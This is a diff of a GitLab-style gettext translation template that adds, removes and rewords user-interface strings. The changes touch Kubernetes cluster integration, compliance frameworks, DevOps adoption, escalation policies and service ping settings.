@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
